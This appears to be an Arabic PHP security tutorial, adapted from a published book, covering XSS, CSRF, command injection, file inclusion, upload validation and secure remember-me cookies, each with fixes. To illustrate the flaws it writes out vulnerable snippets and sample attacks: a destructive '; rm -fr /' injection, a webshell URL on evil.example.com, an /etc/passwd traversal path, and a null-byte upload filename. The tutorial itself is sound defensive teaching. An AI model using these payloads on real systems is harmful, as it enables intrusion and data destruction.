ملاحظات للعاملين بلغة php ممارسات الأمن والحماية في تطبيقات PHP


سارة محمد2

إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها.

تسريب إصدار PHP

بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال:

X-Powered-By: PHP/5.3.8

لإصلاح ذلك يمكنك إما تغييره في ملف php.ini:

expose_php = off

أو تغيير الترويسة:

header("X-Powered-By: Magic");

أو استخدام طريقة htaccess:

Header unset X-Powered-By

إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove()‎ التي توفر لك قابلية حذف الترويسة:

header_remove('X-Powered-By');

إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك.

هجمات البرمجة عبر المواقع (XSS)

المشكلة

هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما.

مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت:

// http://example.com/runme.js
document.write("I'm running");

وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه:

<?php
echo '<div>' . $_GET['input'] . '</div>';

إذا تضمن معامل GET غير المُتحقق منه، ما يلي:

 ‎<script src="http://example.com/runme.js"></script>‎ 

فسيكون خرج سكربت PHP:

<div><script src="http://example.com/runme.js"></script></div>

سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب.

الحل

عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق.

الدوال المرشحة

تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم.

ترميز HTML

تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// أو
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

الخرج:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان:

<script src="http://example.com/runme.js"></script>

ترميز الرابط

توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر:

<?php
$input = urlencode($_GET['input']);
// أو
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز.

استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy

قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى ‏Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر.

يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML.

هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery)

المشكلة

يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية ‎/delete.php?accnt=12‎ يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر:

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

سيُحذف الحساب.

الحل

الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (‏CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك:

<form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<randomToken>" />
    <input type="submit" />
</form>

يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة.

مثال

إليك المثال التالي:

// ‫الشيفرة التالية لتوليد مفتاح CSRF وتخزينه
<?php
    session_start();
    function generate_token() {
        // التحقق من وجود مفتاح لهذه الجلسة
        if(!isset($_SESSION["csrf_token"])) {
            // لا يوجد مفتاح لذا ولّد واحدًا جديدًا
            $token = random_bytes(64);
            $_SESSION["csrf_token"] = $token;
        } else {
            // أعد استخدام المفتاح
            $token = $_SESSION["csrf_token"];
        }
        return $token;
    }
?>
<body>
    <form method="get" action="/delete.php">
        <input type="text" name="accnt" placeholder="accnt number" />
        <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
        <input type="submit" />
    </form>
</body>
...

// الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة
...
<?php
    session_start();
    if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
        // أعد تعيين المفتاح
        unset($_SESSION["csrf_token"]);
        die("CSRF token validation failed");
    }
?>
...

يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده.

حقن سطر الأوامر

المشكلة

يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم ܏بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام.

لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط.

قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل ‎/tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ‎; rm -fr /‎، عندها سينفذ خادم الويب الأمر:

ls; rm -fr /

ويحاول حذف كل الملفات من المجلد الجذر للخادم.

الحل

يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg()‎ أو escapeshellcmd()‎ مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة.

في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي:

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ:

ls '; rm -fr /'

وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm.

يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به.

توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من:

  • exec.
  • ‏passthru
  • ‏proc_open
  • ‏‏shell_exec
  • system

حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها.

إزالة الوسوم

إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات.

انظر المثال الأساسي التالي:

$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);

الخرج الخام الناتج:

Hello, please remove the tags.

بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط.

$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');

الخرج الخام للشيفرة السابقة:

<b>Hello, please remove the tags.</b>

ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم:

<?php
strip_tags($input, '<br>');
?>

إدراج ملف

إدراج ملف بعيد

يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة:

<?php
include $_GET['page'];
/vulnerable.php?page=http://evil.example.com/webshell.txt?

إدراج ملف محلي

إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd

حل RFI وLFI

يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

الإبلاغ عن الأخطاء

تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء.

حل سريع

يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب.

<?php
    ini_set("display_errors", "0");
?>

أو تغيير هذا مباشرةً في ملف php.ini:

display_errors = 0

معالجة الأخطاء

إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات.

set_error_handler(function($errno , $errstr, $errfile, $errline){
    try{
        $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

        if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
            if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
                throw new Exception('Unable to execute query');
            }
        } else {
            throw new Exception('Unable to prepare query');
        }
    } catch (Exception $e){
        error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
    }
});

ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً.

رفع ملفات

إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً.

البيانات المرفوعة

تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name: تحقق منه بالكامل
  • type: لا تستخدم هذه البيانات أبدًا، يمكن الحصول عليها باستخدام دوال PHP بدلًا من ذلك.
  • size: آمن للاستخدام.
  • tmp_name: آمن للاستخدام.

استغلال اسم الملف

لا يسمح نظام التشغيل بشكلٍ طبيعي بوجود محارف خاصة في اسم الملف، لكن يمكنك إضافتهم من خلال انتحال الطلب مما يسمح بحدوث أشياء غير متوقعة فمثلًا ليكن لدينا اسم الملف:

../script.php%00.png

تفحّص اسم الملف ويجب أن تلاحظ أمرين:

  • الأول هو أنّ وجود ‎../‎ غير منطقي أبدًا في اسم الملف، لكن في نفس الوقت جيد إذا كنت تنقل ملفًا من مجلد إلى آخر.
  • قد تعتقد الآن أنك كنت تتحقق من امتدادات الملف بشكلٍ صحيح في السكربت، لكن يعتمد هذا الاستغلال على فك تشفير الرابط، إذ يترجم ‎%00‎ إلى المحرف null ويقول لنظام التشغيل أن السلسلة انتهت هنا مما يزيل ‎.png من اسم الملف.

حمّلت الآن ملف script.php إلى مجلد آخر بتمرير عمليات تحقق بسيطة إلى امتدادات الملف وبتمرير ملفات ‎.htaccess‎ مما يمنع تنفيذ السكربتات من ضمن مجلدك المرفوع.

الحصول على اسم الملف والامتداد بشكلٍ آمن

يمكنك استخدام الدالة pathinfo()‎ لاستقراء الاسم والامتداد بطريقةٍ آمنة، لكننا نحتاج أولًا لاستبدال المحارف غير المرغوب بها في اسم الملف:

// تتضمن هذه المصفوفة قائمة بالمحارف غير المسموح بها في اسم الملف
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?","*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
    echo $filename, $extension;
} else {
    die('file is missing an extension or name');
}

لدينا الآن اسم الملف والامتداد ويمكننا استخدامهما للتخزين، لكن مازلت أفضل تخزين هذه المعلومات في قاعدة البيانات وإعطاء الملف اسمًا مولّدًا له مثل md5(uniqid().microtime())‎.

+----+--------+-----------+------------+------+----------------------------------+----------------
-----+
| id | title | extension | mime | size | filename | time
|
+----+--------+-----------+------------+------+----------------------------------+----------------
-----+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11
00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+----------------
-----+

سيحل هذا مشكلة أسماء الملفات المكررة وعمليات استغلال اسم الملف غير المتوقعة، وقد يتسبب ذلك أن يخمّن المهاجم مكان تخزين الملف بما أنه لا يمكن استهداف الملف بشكلٍ محدد.

التحقق من نوع الوسائط mime-type

التحقق من امتداد الملف لمعرفة ما هو نوع الملف غير كافٍ فقد يكون اسم الملف image.png لكنه يتضمن سكربت PHP، بالتحقق من نوع وسائط الملف المرفوع يمكنك التحقق من إذا كان الملف يتضمن ما يشير إليه اسمه أو لا.

يمكنك الآن الذهاب إلى خطوة أبعد للتحقق من الصور، وهي فتحها:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
    if($img = imagecreatefromjpeg($filename)){
        imagedestroy($img);
    } else {
        die('image failed to open, could be corrupt or the file contains something     else.');
    }
}

يمكنك الحصول على نوع الوسائط باستخدام دالة مدمجة أو صنف.

وجود قائمة بيضاء للملفات المرفوعة

الأهم من ذلك كله هو كتابة قائمة بيضاء تتضمن امتدادات الملفات وأنواع الوسائط بالاعتماد على كل نموذج.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return isset($allowed[$mime]) &&
    is_array($allowed[$mime]) &&
    in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png' => [ 'png' ],
    'image/gif' => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));

كتابة دالة تحافظ على تسجيل المستخدم بأفضل أسلوب

تخزين ملف تعريف الارتباط في ثلاثة أجزاء.

function onLogin($user) {
    // ‫توليد مفتاح، يجب أن يكون بين 128 - 256 بت
    $token = GenerateRandomToken();
    storeTokenForUser($user, $token);
    $cookie = $user . ':' . $token;
    $mac = hash_hmac('sha256', $cookie, SECRET_KEY);
    $cookie .= ':' . $mac;
    setcookie('rememberme', $cookie);
}

وللتحقق:

function rememberMe() {
    $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';
    if ($cookie) {
        list ($user, $token, $mac) = explode(':', $cookie);
        if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {
            return false;
        }
        $usertoken = fetchTokenByUserName($user);
        if (hash_equals($usertoken, $token)) {
            logUserIn($user);
        }
    }
}

ترجمة -وبتصرف- للفصول [Security - Secure Remeber Me] من كتاب PHP Notes for Professionals book





تفاعل الأعضاء


لا توجد أيّة تعليقات بعد



يجب أن تكون عضوًا لدينا لتتمكّن من التعليق

انشاء حساب جديد

يستغرق التسجيل بضع ثوان فقط


سجّل حسابًا جديدًا

تسجيل الدخول

تملك حسابا مسجّلا بالفعل؟


سجّل دخولك الآن